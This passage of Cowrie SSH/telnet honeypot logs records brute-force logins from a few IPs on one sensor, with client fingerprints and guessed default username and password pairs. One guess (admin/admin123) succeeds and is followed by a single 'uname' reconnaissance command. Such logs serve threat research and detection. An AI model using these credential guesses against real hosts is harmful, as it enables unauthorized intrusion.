{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:43.710532Z","src_ip":"94.26.106.229","session":"ea70afaedbb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin123","message":"login attempt [ftpadmin/ftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:43.983191Z","src_ip":"94.26.106.229","session":"ea70afaedbb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35324,"dst_ip":"159.203.135.109","dst_port":22,"session":"c51ac2a8ccdd","protocol":"ssh","message":"New connection: 45.156.87.204:35324 (159.203.135.109:22) [session: c51ac2a8ccdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:44.939021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:44.943795Z","src_ip":"45.156.87.204","session":"c51ac2a8ccdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:45.025887Z","src_ip":"45.156.87.204","session":"c51ac2a8ccdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:45.074802Z","src_ip":"94.26.106.229","session":"ea70afaedbb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:45.275801Z","src_ip":"45.156.87.204","session":"c51ac2a8ccdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":52716,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e27c511359d","protocol":"ssh","message":"New connection: 94.26.106.229:52716 (159.203.135.109:22) [session: 5e27c511359d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:46.301062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:46.305971Z","src_ip":"94.26.106.229","session":"5e27c511359d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:46.389316Z","src_ip":"94.26.106.229","session":"5e27c511359d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:46.426490Z","src_ip":"45.156.87.204","session":"c51ac2a8ccdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:46.638664Z","src_ip":"94.26.106.229","session":"5e27c511359d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:47.724996Z","src_ip":"94.26.106.229","session":"5e27c511359d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35326,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdb00984a790","protocol":"ssh","message":"New connection: 45.156.87.204:35326 (159.203.135.109:22) [session: bdb00984a790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.374753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.379043Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":52722,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc768cae0008","protocol":"ssh","message":"New connection: 94.26.106.229:52722 (159.203.135.109:22) [session: dc768cae0008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.455294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.459381Z","src_ip":"94.26.106.229","session":"dc768cae0008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.465989Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.547533Z","src_ip":"94.26.106.229","session":"dc768cae0008","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.746253Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:48.817750Z","src_ip":"94.26.106.229","session":"dc768cae0008","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.204022Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.207183Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.325463Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.329509Z","src_ip":"45.156.87.204","session":"bdb00984a790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.823912143707275,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.457963Z","src_ip":"152.42.224.71","session":"d37323f7f453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54194,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe25cf619c6","protocol":"telnet","message":"New connection: 152.42.224.71:54194 (10.17.0.5:23) [session: 4fe25cf619c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.651135Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:49.908447Z","src_ip":"94.26.106.229","session":"dc768cae0008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":52726,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ae935395cca","protocol":"ssh","message":"New connection: 94.26.106.229:52726 (159.203.135.109:22) [session: 3ae935395cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:51.051786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:51.056128Z","src_ip":"94.26.106.229","session":"3ae935395cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:51.140255Z","src_ip":"94.26.106.229","session":"3ae935395cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123456","message":"login attempt [marketing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:51.393517Z","src_ip":"94.26.106.229","session":"3ae935395cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.75432062149048,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:51.565293Z","src_ip":"152.42.224.71","session":"9cdb7a2e9f62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54206,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ef1aba23da","protocol":"telnet","message":"New connection: 152.42.224.71:54206 (10.17.0.5:23) [session: c7ef1aba23da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:51.738785Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35336,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb3fd2ecd94a","protocol":"ssh","message":"New connection: 45.156.87.204:35336 (159.203.135.109:22) [session: bb3fd2ecd94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:52.235057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:52.239986Z","src_ip":"45.156.87.204","session":"bb3fd2ecd94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:52.324094Z","src_ip":"45.156.87.204","session":"bb3fd2ecd94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:52.479907Z","src_ip":"94.26.106.229","session":"3ae935395cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:52.569381Z","src_ip":"45.156.87.204","session":"bb3fd2ecd94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:53.654562Z","src_ip":"45.156.87.204","session":"bb3fd2ecd94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.955411195755005,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:54.120804Z","src_ip":"152.42.224.71","session":"ea713e19983c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":27614,"dst_ip":"159.203.135.109","dst_port":22,"session":"6afb3dbf7f19","protocol":"ssh","message":"New connection: 94.26.106.229:27614 (159.203.135.109:22) [session: 6afb3dbf7f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.304693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.309556Z","src_ip":"94.26.106.229","session":"6afb3dbf7f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 